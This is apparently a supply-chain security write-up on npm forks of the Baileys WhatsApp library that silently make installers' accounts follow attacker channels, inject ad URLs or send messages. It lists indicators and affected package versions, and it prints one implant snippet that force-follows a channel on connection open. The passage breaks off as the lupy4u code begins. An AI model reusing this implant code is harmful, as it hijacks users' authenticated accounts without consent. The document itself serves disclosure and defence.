Baileys npm forks farm WhatsApp Channel followers

7 min read

Summary

Forks of Baileys, the popular WhatsApp Web library, silently make the installer’s WhatsApp account follow channels the package author controls. Some forks also inject the author’s advertising URL into the bot’s outgoing media. One fork sends a message from the installer’s account and then blocks the bot. This is non-consensual social abuse shipped through npm. It is not credential theft.

Continuous monitoring of the npm registry records 4,250 package names that contain baileys and another 112 that contain libsignal-node. The set includes the upstream library, legitimate forks, mirrors, and many packages no one has examined. This post lists only the packages confirmed as malicious in this campaign: 70 package names built on Baileys across 343 versions, and 15 libsignal-node impersonators across 38 versions. Everything outside that confirmed set is unverified, not cleared as safe. The confirmed count is a lower bound, and the campaign keeps growing.

Impact:

  • A silent, non-consensual follow of attacker-owned WhatsApp channels, using the installer’s account
  • A remotely controlled follow list, with each channel muted to hide the subscription (lupy4u)
  • The author’s advertising URL injected into every image and video the bot sends (mamz-baileys)
  • Forged channel attribution added to the installer’s outgoing messages (@cikikomo/baileys)
  • A message sent from the installer’s account, then an error that blocks the bot (@prototypevip/baileys)

Indicators of Compromise (IoC):

  • npm publishers: prototype1006, cikikomo, neykoor, mamzhandsome, lupy4u, diezyyasha
  • Maintainer emails: [email protected], [email protected], [email protected], [email protected], [email protected], [email protected]
  • Advertising URL injected into media: hxxps://fiora[.]nixel[.]my[.]id/ (mamz-baileys)
  • Remote follow-list source: hxxps://raw[.]githubusercontent[.]com/LevviCodeID/Levi4than/refs/heads/main/levvleys.json (lupy4u)
  • Newsletter channel identifiers: 120363401404146384@newsletter (@neykoor), 120363426628484388@newsletter (@cikikomo), 120363406881628130@newsletter (mamz-baileys, shared with diezyyasha-baileys)
  • lupy4u control repo: GitHub LevviCodeID/Levi4than (lupy4u pulls its follow list from levvleys.json there); operator site levvicode[.]cloud

Part 1: The campaign and impacted packages

Why Baileys is a target

Baileys is a WhatsApp Web multi-device library for Node.js. Developers use it to build WhatsApp bots.

These forks target the authenticated session. A paired session can send messages, follow channels, and read chats as the account holder. An attacker who controls the session controls the account.

Recent packages

These packages are the examples analysed here. All but one were read from source. npm removed @diezyyasha/libsignal-node before analysis, so that row is reported only.

PackageVersionBehaviourDeliveryVerified
@prototypevip/baileys0.0.4Account block (self-DoS)ForkFrom source
@cikikomo/baileys1.0.10Forged attributionForkFrom source
@neykoor/baileys7.0.16-rc15Forced followForkFrom source
mamz-baileys8.6.62Forced follow and injected ad URLForkFrom source
lupy4u4.5.6Remote-controlled follow and muteForkFrom source
@diezyyasha/libsignal-node2.2.8Forced followImport-time patcherReported, removed

Impacted packages

A package appears here only after a confirmed malicious verdict. The first list covers packages built on Baileys. The second covers libsignal-node impersonators, including the import-time patcher.

baileys-packages-list.csv
Row ecosystem name version
1 ECOSYSTEM_NPM @kofoffc/baileys 0.0.4
2 ECOSYSTEM_NPM @kofoffc/baileys 0.0.3
3 ECOSYSTEM_NPM @neykoor/baileys 7.0.16-rc15
4 ECOSYSTEM_NPM @neykoor/baileys 7.0.15-rc15
5 ECOSYSTEM_NPM @neykoor/baileys 7.0.14-rc15
6 ECOSYSTEM_NPM @prototypevip/baileys 0.0.1
7 ECOSYSTEM_NPM @prototypevip/baileys 0.0.4
8 ECOSYSTEM_NPM @cikikomo/baileys 1.0.11
9 ECOSYSTEM_NPM @cikikomo/baileys 1.0.10
10 ECOSYSTEM_NPM @cikikomo/baileys 1.0.9
11 ECOSYSTEM_NPM @cikikomo/baileys 1.0.8
12 ECOSYSTEM_NPM @cikikomo/baileys 1.0.7
13 ECOSYSTEM_NPM @cikikomo/baileys 1.0.6
14 ECOSYSTEM_NPM ynastore-baileys 1.0.21
15 ECOSYSTEM_NPM santana-baileys 2.0.4
16 ECOSYSTEM_NPM diezyyasha-baileys 9.1.2
17 ECOSYSTEM_NPM diezyyasha-baileys 9.1.1
18 ECOSYSTEM_NPM diezyyasha-baileys 8.6.57
19 ECOSYSTEM_NPM alipclutch-baileys 8.6.65
20 ECOSYSTEM_NPM alipclutch-baileys 8.6.74
21 ECOSYSTEM_NPM alipclutch-baileys 8.6.61
22 ECOSYSTEM_NPM alipclutch-baileys 8.6.72
23 ECOSYSTEM_NPM alipclutch-baileys 8.6.66
24 ECOSYSTEM_NPM alipclutch-baileys 8.6.64
25 ECOSYSTEM_NPM alipclutch-baileys 8.6.71
26 ECOSYSTEM_NPM alipclutch-baileys 8.6.70
27 ECOSYSTEM_NPM alipclutch-baileys 8.6.63
28 ECOSYSTEM_NPM diezyclutch-baileys 8.6.78
29 ECOSYSTEM_NPM @prototypevip/baileys 0.0.3
30 ECOSYSTEM_NPM @mrlegendbot/baileys 1.0.0
31 ECOSYSTEM_NPM @mrlegendbot/baileys 1.1.0
32 ECOSYSTEM_NPM @cikikomo/baileys 1.0.4
33 ECOSYSTEM_NPM @cikikomo/baileys 1.0.5
34 ECOSYSTEM_NPM @neykoor/baileys 7.0.13-rc15
35 ECOSYSTEM_NPM @prototypevip/baileys 0.0.2
36 ECOSYSTEM_NPM diezyyasha-baileys 9.1.5
37 ECOSYSTEM_NPM diezyyasha-baileys 9.2.0
38 ECOSYSTEM_NPM diezyyasha-baileys 9.1.3
39 ECOSYSTEM_NPM diezyyasha-baileys 9.0.0
40 ECOSYSTEM_NPM @xsat10/baileys-xsat 2.0.0
41 ECOSYSTEM_NPM alipclutch-baileys 8.6.77
42 ECOSYSTEM_NPM alipclutch-baileys 8.6.75
43 ECOSYSTEM_NPM alipclutch-baileys 8.6.59
44 ECOSYSTEM_NPM alipclutch-baileys 8.6.58
45 ECOSYSTEM_NPM alipclutch-baileys 8.6.60
46 ECOSYSTEM_NPM @bowozzz/baileys 7.0.1
47 ECOSYSTEM_NPM @bowozzz/baileys 7.7.7
48 ECOSYSTEM_NPM @bowozzz/baileys 7.0.3
49 ECOSYSTEM_NPM @bowozzz/baileys 1.0.0
50 ECOSYSTEM_NPM @bowozzz/baileys 9.9.9
51 ECOSYSTEM_NPM @bowozzz/baileys 7.0.2
52 ECOSYSTEM_NPM @bowozzz/baileys 7.0.0
53 ECOSYSTEM_NPM @bowozzz/baileys 6.6.6
54 ECOSYSTEM_NPM @bowozzz/baileys 8.8.8
55 ECOSYSTEM_NPM @bowozzz/baileys 6.6.7
56 ECOSYSTEM_NPM amanexzyra-baileys 3.0.0
57 ECOSYSTEM_NPM amanexzyra-baileys 4.0.0
58 ECOSYSTEM_NPM amanexzyra-baileys 4.0.2
59 ECOSYSTEM_NPM diezyyasha-baileys 9.1.0
60 ECOSYSTEM_NPM diezyyasha-baileys 8.6.60
61 ECOSYSTEM_NPM diezyyasha-baileys 8.6.61
62 ECOSYSTEM_NPM diezyyasha-baileys 8.6.62
63 ECOSYSTEM_NPM diezyyasha-baileys 8.6.59
64 ECOSYSTEM_NPM @fazzcode/baileys 2.5.7
65 ECOSYSTEM_NPM @fazzcode/baileys 2.5.6
66 ECOSYSTEM_NPM @fazzcode/baileys 2.5.5
67 ECOSYSTEM_NPM @fazzcode/baileys 2.5.4
68 ECOSYSTEM_NPM @fazzcode/baileys 2.5.3
69 ECOSYSTEM_NPM @web2apk/baileys 5.5.5
70 ECOSYSTEM_NPM @web2apk/baileys 4.5.5
71 ECOSYSTEM_NPM @web2apk/baileys 3.5.5
72 ECOSYSTEM_NPM @web2apk/baileys 3.5.0
73 ECOSYSTEM_NPM @web2apk/baileys 2.5.0
74 ECOSYSTEM_NPM @web2apk/baileys 3.0.0
75 ECOSYSTEM_NPM @web2apk/baileys 2.0.0
76 ECOSYSTEM_NPM @web2apk/baileys 1.0.0
77 ECOSYSTEM_NPM @web2apk/baileys 7.0.5
78 ECOSYSTEM_NPM @rexxhayanasi/elaina-baileys 1.3.4-rc.17
79 ECOSYSTEM_NPM @nexustechpro/baileys 2.2.5
80 ECOSYSTEM_NPM @zannstore/baileys 2.2.6
81 ECOSYSTEM_NPM @zannstore/baileys 2.2.7
82 ECOSYSTEM_NPM @zannstore/baileys 2.2.8
83 ECOSYSTEM_NPM @zannstore/baileys 2.4.4
84 ECOSYSTEM_NPM @badzz88/baileys 8.4.9
85 ECOSYSTEM_NPM @zannstore/baileys 2.3.5
86 ECOSYSTEM_NPM @zannstore/baileys 2.3.6
87 ECOSYSTEM_NPM @zannstore/baileys 2.3.7
88 ECOSYSTEM_NPM @zannstore/baileys 2.3.9
89 ECOSYSTEM_NPM @zannstore/baileys 2.4.0
90 ECOSYSTEM_NPM @zannstore/baileys 2.4.1
91 ECOSYSTEM_NPM @zannstore/baileys 2.4.2
92 ECOSYSTEM_NPM @zannstore/baileys 2.4.3
93 ECOSYSTEM_NPM @nexustechpro/baileys 2.2.3
94 ECOSYSTEM_NPM @nexustechpro/baileys 2.2.2
95 ECOSYSTEM_NPM sanka-baileyss 2.6.3
96 ECOSYSTEM_NPM @zannstore/baileys 2.3.4
97 ECOSYSTEM_NPM sanka-baileyss 2.6.2
98 ECOSYSTEM_NPM @zannstore/baileys 2.3.3
99 ECOSYSTEM_NPM @zannstore/baileys 2.3.2
100 ECOSYSTEM_NPM @zannstore/baileys 2.3.0
101 ECOSYSTEM_NPM @zannstore/baileys 2.3.1
102 ECOSYSTEM_NPM @systemzero/baileys 1.1.1
103 ECOSYSTEM_NPM @cikikomo/baileys 1.0.0
104 ECOSYSTEM_NPM diezyyasha-baileys 8.6.58
105 ECOSYSTEM_NPM @sankavollereii/sanka-baileyss 2.6.2
106 ECOSYSTEM_NPM @sankavollereii/sanka-baileyss 2.6.1
107 ECOSYSTEM_NPM @nexustechpro/baileys 2.2.0
108 ECOSYSTEM_NPM @sukatank01/baileys-whatsapp 5.5.5
109 ECOSYSTEM_NPM @rexxhayanasi/elaina-baileys 1.3.4-rc.14
110 ECOSYSTEM_NPM @sankavollereii/sanka-baileyss 2.6.0
111 ECOSYSTEM_NPM @rexxhayanasi/elaina-baileys 1.3.4-rc.15
112 ECOSYSTEM_NPM @sankavollereii/sanka-baileyss 2.5.9
113 ECOSYSTEM_NPM @sankavollereii/sanka-baileyss 2.5.8
114 ECOSYSTEM_NPM santana-baileys 2.0.3
115 ECOSYSTEM_NPM santana-baileys 2.0.2
116 ECOSYSTEM_NPM santana-baileys 2.0.1
117 ECOSYSTEM_NPM @alannxd/baileys 6.1.4
118 ECOSYSTEM_NPM @sgintokic/baileys 0.1.4
119 ECOSYSTEM_NPM @sairidev/baileys-new 0.3.19
120 ECOSYSTEM_NPM @systemzero/baileys 1.0.8
121 ECOSYSTEM_NPM asepxyz-baileys 1.0.1
122 ECOSYSTEM_NPM ynastore-baileys 1.0.20
123 ECOSYSTEM_NPM santana-baileys 2.0.0
124 ECOSYSTEM_NPM asepxyz-baileys 1.0.0
125 ECOSYSTEM_NPM @fhkry/x-baileys 1.5.0
126 ECOSYSTEM_NPM @fhkry/x-baileys 1.2.0
127 ECOSYSTEM_NPM @fhkry/x-baileys 1.6.0
128 ECOSYSTEM_NPM @fhkry/x-baileys 1.1.0
129 ECOSYSTEM_NPM @fhkry/x-baileys 1.7.0
130 ECOSYSTEM_NPM @fhkry/x-baileys 1.0.0
131 ECOSYSTEM_NPM @fhkry/x-baileys 1.4.0
132 ECOSYSTEM_NPM @fhkry/x-baileys 1.3.0
133 ECOSYSTEM_NPM sauruslord-baileys 3.0.2
134 ECOSYSTEM_NPM sauruslord-baileys 3.0.1
135 ECOSYSTEM_NPM sauruslord-baileys 3.0.0
136 ECOSYSTEM_NPM @fvckerss/baileys 1.0.12
137 ECOSYSTEM_NPM @fvckerss/baileys 1.0.11
138 ECOSYSTEM_NPM @fvckerss/baileys 1.0.10
139 ECOSYSTEM_NPM @alannxd/baileys 6.1.3
140 ECOSYSTEM_NPM @alannxd/baileys 6.1.1
141 ECOSYSTEM_NPM @alannxd/baileys 6.1.2
142 ECOSYSTEM_NPM baileys-clean 7.3.2
143 ECOSYSTEM_NPM alice-baileys 2.0.8
144 ECOSYSTEM_NPM @sanzstore/baileys-pro 1.0.0
145 ECOSYSTEM_NPM @fhkry/baileys 8.0.13
146 ECOSYSTEM_NPM @hanssoft/baileys 2.0.4
147 ECOSYSTEM_NPM @than1st/baileys 2.0.5
148 ECOSYSTEM_NPM @than1st/baileys 2.0.6
149 ECOSYSTEM_NPM baileys-dgxeon 1.0.0
150 ECOSYSTEM_NPM @vreden-team/baileys 7.7.8
151 ECOSYSTEM_NPM @vreden-team/baileys 7.7.9
152 ECOSYSTEM_NPM @vreden-team/baileys 7.8.0
153 ECOSYSTEM_NPM @vreden-team/baileys 7.8.1
154 ECOSYSTEM_NPM @im-dims/baileys 5.7.3
155 ECOSYSTEM_NPM @otaxayuns/baileys 7.0.5
156 ECOSYSTEM_NPM @otaxayuns/baileys 7.0.4
157 ECOSYSTEM_NPM @fhkry/baileys-v2 1.0.0
158 ECOSYSTEM_NPM um4r719-baileys 0.1.15
159 ECOSYSTEM_NPM @sixcore/baileys 1.1.1
160 ECOSYSTEM_NPM @rexxtheproject/elaina-baileys 1.0.0
161 ECOSYSTEM_NPM um4r719-baileys 0.1.11
162 ECOSYSTEM_NPM @zecho/baileys-mod 2.0.0
163 ECOSYSTEM_NPM @sheniraid/baileys 4.0.11
164 ECOSYSTEM_NPM @myisrfn/baileys-mod 1.0.6
165 ECOSYSTEM_NPM @myisrfn/baileys-mod 1.0.2
166 ECOSYSTEM_NPM @myisrfn/baileys-mod 1.0.1
167 ECOSYSTEM_NPM @myisrfn/baileys-mod 2.0.4
168 ECOSYSTEM_NPM @dappaoffc/baileys-mod 8.0.5
169 ECOSYSTEM_NPM @xvortexsockets/baileys 1.0.1
170 ECOSYSTEM_NPM @sixcore/baileys 1.0.1
171 ECOSYSTEM_NPM @fr3newera/baileys 1.0.4
172 ECOSYSTEM_NPM @fr3newera/baileys 1.0.1
173 ECOSYSTEM_NPM @fr3newera/baileys 1.0.0
174 ECOSYSTEM_NPM @sixcore/baileys 1.0.0
175 ECOSYSTEM_NPM @dappaoffc/baileys-mod 8.0.3
176 ECOSYSTEM_NPM yuji-baileys 4.0.4
177 ECOSYSTEM_NPM yuji-baileys 4.0.2
178 ECOSYSTEM_NPM @yazxzpedia/baileys 8.0.0
179 ECOSYSTEM_NPM @dappaoffc/baileys-mod 8.0.1
180 ECOSYSTEM_NPM @skyzopedia/baileys-mod 8.0.8
181 ECOSYSTEM_NPM @skyzopedia/baileys-pro 8.0.7
182 ECOSYSTEM_NPM @dinzid04/baileys 0.0.1
183 ECOSYSTEM_NPM @sanzxcode/baileys 7.0.1
184 ECOSYSTEM_NPM @yazxzpedia/baileys 6.0.0
185 ECOSYSTEM_NPM @yazxzpedia/baileys 5.0.0
186 ECOSYSTEM_NPM @yazxzpedia/baileys 4.0.0
187 ECOSYSTEM_NPM @yazxzpedia/baileys 1.0.0
188 ECOSYSTEM_NPM @shenira/baileys 4.0.1
189 ECOSYSTEM_NPM baileys-ud 1.0.0
190 ECOSYSTEM_NPM @daffadeveloper/baileys 8.0.0
191 ECOSYSTEM_NPM @dappaoffc/baileys-mod 6.0.24
192 ECOSYSTEM_NPM @daffadeveloper/baileys 7.0.0
193 ECOSYSTEM_NPM @skyzopedia/baileys-pro 8.0.6
194 ECOSYSTEM_NPM @skyzopedia/baileys-mod 8.0.7
195 ECOSYSTEM_NPM @skyzopedia/baileys-mod 8.0.2
196 ECOSYSTEM_NPM @skyzopedia/baileys-pro 8.0.5
197 ECOSYSTEM_NPM @skyzopedia/baileys-pro 8.0.4
198 ECOSYSTEM_NPM baileys-dtz 7.0.0
199 ECOSYSTEM_NPM torbaileys 8.0.1
200 ECOSYSTEM_NPM torbaileys 8.0.0
201 ECOSYSTEM_NPM @skyzopedia/baileys-pro 8.0.3
202 ECOSYSTEM_NPM @skyzopedia/baileys-mod 8.0.1
203 ECOSYSTEM_NPM @skyzopedia/baileys-mod 8.0.0
204 ECOSYSTEM_NPM @mikudev/ridwan-baileys-mod 1.0.2
205 ECOSYSTEM_NPM @skyzopedia/baileys-pro 8.0.2
206 ECOSYSTEM_NPM @skyzopedia/baileys-pro 8.0.1
207 ECOSYSTEM_NPM @skyzopedia/baileys-pro 8.0.0
208 ECOSYSTEM_NPM baileys-dtz 5.0.4
209 ECOSYSTEM_NPM @daffadeveloper/baileys 3.0.0
210 ECOSYSTEM_NPM @daffadeveloper/baileys 2.0.5
211 ECOSYSTEM_NPM @daffadeveloper/baileys 2.0.4
212 ECOSYSTEM_NPM baileys-dtz 5.0.2
213 ECOSYSTEM_NPM @skyzopedia/baileys-pro 7.0.16
214 ECOSYSTEM_NPM @dappaoffc/baileys-mod 6.0.22
215 ECOSYSTEM_NPM @skyzopedia/baileys-mod 6.0.22
216 ECOSYSTEM_NPM baileys-dtz 5.0.0
217 ECOSYSTEM_NPM @skyzopedia/baileys-mod 6.0.20
218 ECOSYSTEM_NPM @dappaoffc/baileys-mod 6.0.21
219 ECOSYSTEM_NPM @skyzopedia/baileys-pro 7.0.15
220 ECOSYSTEM_NPM @dappaoffc/baileys-mod 6.0.20
221 ECOSYSTEM_NPM @skyzopedia/baileys-mod 6.0.19
222 ECOSYSTEM_NPM @skyzopedia/baileys 7.0.14
223 ECOSYSTEM_NPM @dappaoffc/baileys-mod 6.0.18
224 ECOSYSTEM_NPM @skyzopedia/baileys 7.0.13
225 ECOSYSTEM_NPM @skyzopedia/baileys 7.0.12
226 ECOSYSTEM_NPM @dappaoffc/baileys-mod 6.0.17
227 ECOSYSTEM_NPM @skyzopedia/baileys-mod 6.0.17
228 ECOSYSTEM_NPM @dappaoffc/baileys-mod 6.0.15
229 ECOSYSTEM_NPM @skyzopedia/baileys-mod 6.0.15
230 ECOSYSTEM_NPM @dappaoffc/baileys-mod 6.0.14
231 ECOSYSTEM_NPM @dappaoffc/baileys-mod 6.0.13
232 ECOSYSTEM_NPM @skyzopedia/baileys-pro 3.0.1
233 ECOSYSTEM_NPM @skyzopedia/baileys-mod 6.0.12
234 ECOSYSTEM_NPM @dappaoffc/baileys-mod 6.0.12
235 ECOSYSTEM_NPM @dappaoffc/baileys-mod 6.0.11
236 ECOSYSTEM_NPM @skyzopedia/baileys-mod 6.0.11
237 ECOSYSTEM_NPM @skyzopedia/baileys-pro 3.0.0
238 ECOSYSTEM_NPM @skyzopedia/baileys-pro 2.0.0
239 ECOSYSTEM_NPM @skyzopedia/baileys-mod 6.0.10
240 ECOSYSTEM_NPM @dappaoffc/baileys-mod 6.0.8
241 ECOSYSTEM_NPM @skyzopedia/baileys-mod 6.0.8
242 ECOSYSTEM_NPM @skyzopedia/baileys-mod 6.0.7
243 ECOSYSTEM_NPM @skyzopedia/baileys 6.0.5
244 ECOSYSTEM_NPM @dappaoffc/baileys-mod 6.0.5
245 ECOSYSTEM_NPM @skyzopedia/baileys 6.0.2
246 ECOSYSTEM_NPM @skyzopedia/baileys-mod 6.0.1
247 ECOSYSTEM_NPM @skyzopedia/baileys 5.0.6
248 ECOSYSTEM_NPM @skyzopedia/baileys 5.0.5
249 ECOSYSTEM_NPM @dappaoffc/baileys-mod 5.0.7
250 ECOSYSTEM_NPM @skyzopedia/baileys-mod 5.0.8
251 ECOSYSTEM_NPM @skyzopedia/baileys-mod 5.0.7
252 ECOSYSTEM_NPM @skyzopedia/baileys-mod 5.0.6
253 ECOSYSTEM_NPM @dappaoffc/baileys-mod 5.0.6
254 ECOSYSTEM_NPM @dappaoffc/baileys-mod 5.0.5
255 ECOSYSTEM_NPM @skyzopedia/baileys 5.0.4
256 ECOSYSTEM_NPM @skyzopedia/baileys-mod 5.0.5
257 ECOSYSTEM_NPM @skyzopedia/baileys-mod 5.0.4
258 ECOSYSTEM_NPM @skyzopedia/baileys-mod 5.0.3
259 ECOSYSTEM_NPM @skyzopedia/baileys 5.0.2
260 ECOSYSTEM_NPM @skyzopedia/baileys-mod 5.0.2
261 ECOSYSTEM_NPM @dappaoffc/baileys-mod 5.0.2
262 ECOSYSTEM_NPM @dappaoffc/baileys-mod 5.0.1
263 ECOSYSTEM_NPM @skyzopedia/baileys-mod 5.0.1
264 ECOSYSTEM_NPM @dappaoffc/baileys-mod 5.0.0
265 ECOSYSTEM_NPM @skyzopedia/baileys-mod 5.0.0
266 ECOSYSTEM_NPM @skyzopedia/baileys-mod 4.0.5
267 ECOSYSTEM_NPM @dappaoffc/baileys-mod 4.0.3
268 ECOSYSTEM_NPM @dappaoffc/baileys-mod 4.0.2
269 ECOSYSTEM_NPM @skyzopedia/baileys-mod 4.0.2
270 ECOSYSTEM_NPM @skyzopedia/baileys-mod 4.0.1
271 ECOSYSTEM_NPM @skyzopedia/baileys-mod 4.0.0
272 ECOSYSTEM_NPM @skyzopedia/baileys-mod 3.0.9
273 ECOSYSTEM_NPM @skyzopedia/baileys-mod 3.0.5
274 ECOSYSTEM_NPM @skyzopedia/baileys-mod 3.0.2
275 ECOSYSTEM_NPM @yaoii-bails/baileys 1.0.0
276 ECOSYSTEM_NPM @yaoii-bails/baileys 2.0.0
277 ECOSYSTEM_NPM @dappaoffc/baileys 2.0.6
278 ECOSYSTEM_NPM @skyzopedia/baileys 2.0.5
279 ECOSYSTEM_NPM @yaoii-bails/baileys 2.0.34
280 ECOSYSTEM_NPM @yaoii-bails/baileys 2.0.4
281 ECOSYSTEM_NPM @yaoii-bails/baileys 2.0.3
282 ECOSYSTEM_NPM @yaoii-bails/baileys 2.0.23
283 ECOSYSTEM_NPM @dappaoffc/baileys 2.0.4
284 ECOSYSTEM_NPM @skyzopedia/baileys 2.0.4
285 ECOSYSTEM_NPM @dappaoffc/baileys 2.0.2
286 ECOSYSTEM_NPM @yaoii-bails/baileys 2.0.19
287 ECOSYSTEM_NPM @yaoii-bails/baileys 2.0.5
288 ECOSYSTEM_NPM @yaoii-bails/baileys 2.0.1
289 ECOSYSTEM_NPM @yaoii-bails/yaoii-baileys 2.0.1
290 ECOSYSTEM_NPM @yaoii-bails/yaoii-baileys 2.0.10
291 ECOSYSTEM_NPM @yaoii-bails/yaoii-baileys 2.0.5
292 ECOSYSTEM_NPM @yaoii-bails/baileys 2.0.17
293 ECOSYSTEM_NPM @yaoii-bails/baileys 2.0.18
294 ECOSYSTEM_NPM @yaoii-bails/baileys 2.0.15
295 ECOSYSTEM_NPM @yaoii-bails/baileys 2.0.14
296 ECOSYSTEM_NPM @yaoii-bails/baileys 2.0.13
297 ECOSYSTEM_NPM @yaoii-bails/baileys 2.0.11
298 ECOSYSTEM_NPM @yaoii-bails/baileys 2.0.10
299 ECOSYSTEM_NPM @skyzopedia/baileys 2.0.3
300 ECOSYSTEM_NPM @shennmine/baileys 2.1.1
301 ECOSYSTEM_NPM @shennmine/baileys 2.1.0
302 ECOSYSTEM_NPM @shennmine/baileys 2.0.8
303 ECOSYSTEM_NPM @shennmine/baileys 2.0.7
304 ECOSYSTEM_NPM @shennmine/baileys 2.0.6
305 ECOSYSTEM_NPM @shennmine/baileys 2.0.5
306 ECOSYSTEM_NPM @shennmine/baileys 2.0.4
307 ECOSYSTEM_NPM @shennmine/baileys 2.0.3
308 ECOSYSTEM_NPM freedom-baileys 2.0.0
309 ECOSYSTEM_NPM @shennmine/baileys 2.0.2
310 ECOSYSTEM_NPM @shennmine/baileys 2.0.1
311 ECOSYSTEM_NPM @shennmine/baileys 2.0.0
312 ECOSYSTEM_NPM @shennmine/baileys 1.1.8
313 ECOSYSTEM_NPM @shennmine/baileys 1.1.7
314 ECOSYSTEM_NPM @shennmine/baileys 1.1.6
315 ECOSYSTEM_NPM @shennmine/baileys 1.1.5
316 ECOSYSTEM_NPM @shennmine/baileys 1.1.3
317 ECOSYSTEM_NPM @shennmine/baileys 1.1.2
318 ECOSYSTEM_NPM @shennmine/baileys 1.1.1
319 ECOSYSTEM_NPM supun-baileys 2.0.0
320 ECOSYSTEM_NPM baileys-dtz 2.0.0
321 ECOSYSTEM_NPM baileys-cleaner 1.9.7
322 ECOSYSTEM_NPM baileys-cleaner 1.9.5
323 ECOSYSTEM_NPM baileys-cleaner 1.9.4
324 ECOSYSTEM_NPM baileys-cleaner 1.9.3
325 ECOSYSTEM_NPM baileys-cleaner 1.9.2
326 ECOSYSTEM_NPM baileys-cleaner 1.9.1
327 ECOSYSTEM_NPM baileys-cleaner 1.9.0
328 ECOSYSTEM_NPM baileys-cleaner 1.8.0
329 ECOSYSTEM_NPM baileys-cleaner 1.7.0
330 ECOSYSTEM_NPM baileys-cleaner 1.5.0
331 ECOSYSTEM_NPM baileys-cleaner 1.4.0
332 ECOSYSTEM_NPM baileys-cleaner 1.3.0
333 ECOSYSTEM_NPM baileys-cleaner 1.2.0
334 ECOSYSTEM_NPM baileys-cleaner 1.1.0
335 ECOSYSTEM_NPM baileys-cleaner 1.0.9
336 ECOSYSTEM_NPM baileys-cleaner 1.0.8
337 ECOSYSTEM_NPM baileys-cleaner 1.0.7
338 ECOSYSTEM_NPM baileys-cleaner 1.0.5
339 ECOSYSTEM_NPM baileys-cleaner 1.0.6
340 ECOSYSTEM_NPM baileys-cleaner 1.0.4
341 ECOSYSTEM_NPM baileys-cleaner 1.0.3
342 ECOSYSTEM_NPM baileys-cleaner 1.0.2
343 ECOSYSTEM_NPM baileys-cleaner 1.0.0
343 rows
| 3 columns
baileys-libsignal-packages.csv
Row ecosystem name version
1 ECOSYSTEM_NPM @diezyyasha/libsignal-node 2.2.8
2 ECOSYSTEM_NPM @vinnxcode/libsignal-node 1.0.1
3 ECOSYSTEM_NPM @vinnxcode/libsignal-node 1.0.0
4 ECOSYSTEM_NPM libsignal-node-travatiger 1.0.1
5 ECOSYSTEM_NPM libsignal-node-travatiger 1.0.0
6 ECOSYSTEM_NPM @dgxeon13/libsignal-node 1.0.0
7 ECOSYSTEM_NPM @zizie071/libsignal-node 3.4.6
8 ECOSYSTEM_NPM @zizie071/libsignal-node 3.3.6
9 ECOSYSTEM_NPM @hanssoft/libsignal-node 3.0.4
10 ECOSYSTEM_NPM @shennmine/libsignal-node 2.2.6
11 ECOSYSTEM_NPM @shennmine/libsignal-node 2.2.5
12 ECOSYSTEM_NPM @than-xs/libsignal-node 2.0.5
13 ECOSYSTEM_NPM @sanzxcode/libsignal-node 2.2.5
14 ECOSYSTEM_NPM @shenira/libsignal-node 2.2.5
15 ECOSYSTEM_NPM @shenira/libsignal-node 2.2.4
16 ECOSYSTEM_NPM @dgxeon/libsignal-node 1.0.1
17 ECOSYSTEM_NPM @shennmine/libsignal-node 2.2.4
18 ECOSYSTEM_NPM @shennmine/libsignal-node 2.2.3
19 ECOSYSTEM_NPM @shennmine/libsignal-node 2.2.2
20 ECOSYSTEM_NPM @shennmine/libsignal-node 2.2.1
21 ECOSYSTEM_NPM @daffadeveloper/libsignal-node 2.0.3
22 ECOSYSTEM_NPM @shennmine/libsignal-node 2.2.0
23 ECOSYSTEM_NPM @skyzopedia/libsignal-node 2.0.11
24 ECOSYSTEM_NPM @skyzopedia/libsignal-node 2.0.8
25 ECOSYSTEM_NPM @shennmine/libsignal-node 2.1.9
26 ECOSYSTEM_NPM @skyzopedia/libsignal-node 2.0.5
27 ECOSYSTEM_NPM @shennmine/libsignal-node 2.0.22
28 ECOSYSTEM_NPM @shennmine/libsignal-node 2.0.13
29 ECOSYSTEM_NPM @shennmine/libsignal-node 2.0.10
30 ECOSYSTEM_NPM @shennmine/libsignal-node 2.0.8
31 ECOSYSTEM_NPM @shennmine/libsignal-node 2.0.7
32 ECOSYSTEM_NPM @shennmine/libsignal-node 2.0.6
33 ECOSYSTEM_NPM @shennmine/libsignal-node 2.0.4
34 ECOSYSTEM_NPM @shennmine/libsignal-node 2.0.3
35 ECOSYSTEM_NPM @shennmine/libsignal-node 2.0.2
36 ECOSYSTEM_NPM @yaoii-bails/libsignal-node 2.0.2
37 ECOSYSTEM_NPM @shennmine/libsignal-node 2.0.1
38 ECOSYSTEM_NPM @nazi-team/libsignal-node 2.0.1
38 rows
| 3 columns

Each package is a different npm account with a different email. Most follow different channels. The verified evidence does not show that one operator controls all of them. The packages overlap in one place. mamz-baileys follows 120363406881628130@newsletter. A record for the removed diezyyasha-baileys lists the same channel. Apart from this overlap, the packages share only the forced-follow technique. The evidence points to independent operators that reuse the same technique.

How the follow evolved

The forced follow appears in three forms across the packages, from a fixed target to a remotely controlled list.

  1. Fixed target. @neykoor/baileys follows one hardcoded channel on every connection open.
  2. Covert attribution. mamz-baileys follows a fixed channel and also injects an obfuscated advertising URL into every media message.
  3. Remote control and concealment. lupy4u fetches its target list from a public GitHub file, follows each channel, and then mutes it. The operator changes targets without republishing, and the mute hides the subscription from the account owner.

@prototypevip/baileys is different. It abuses the same authenticated session, but to send a message from the installer and block the bot.

Part 2: Technical analysis

The common technique

All confirmed packages act through the installer’s authenticated session. They do not steal a static secret such as a token. The differences are which action they take and how the code reaches the session.

Forced follow of an attacker channel

@neykoor/[email protected] follows a hardcoded channel on every connection. The implant sits in lib/Socket/newsletter.js.

// lib/Socket/newsletter.js (@neykoor/[email protected])
const AUTO_FOLLOW_JID = '120363401404146384@newsletter';
ev.on('connection.update', async ({ connection }) => {
if (connection === 'open') {
try {
const followed = await isFollowingNewsletter(AUTO_FOLLOW_JID);
if (!followed) {
await executeWMexQueryIgnoreResponse({ newsletter_id: AUTO_FOLLOW_JID }, QueryIds.FOLLOW);
}
} catch {}
}
});

Three properties make it deliberate. It binds to an automatic lifecycle event that no bot developer calls, discards the response with a fire-and-forget query, and hides every error with an empty catch. The pre-check keeps it silent on later reconnects. The socket chain shows the code reaches the listener at runtime. makeWASocket builds down through messages-send.js, which calls makeNewsletterSocket, which registers this listener.

A remotely controlled follow list

[email protected] moves the target list off the package and onto the network. autoJoinChannels() in lib/Socket/newsletter.js fetches a JSON file from GitHub, then follows and mutes each channel it returns.

// lib/Socket/newsletter.js ([email protected])
const autoJoinChannels = async () => {
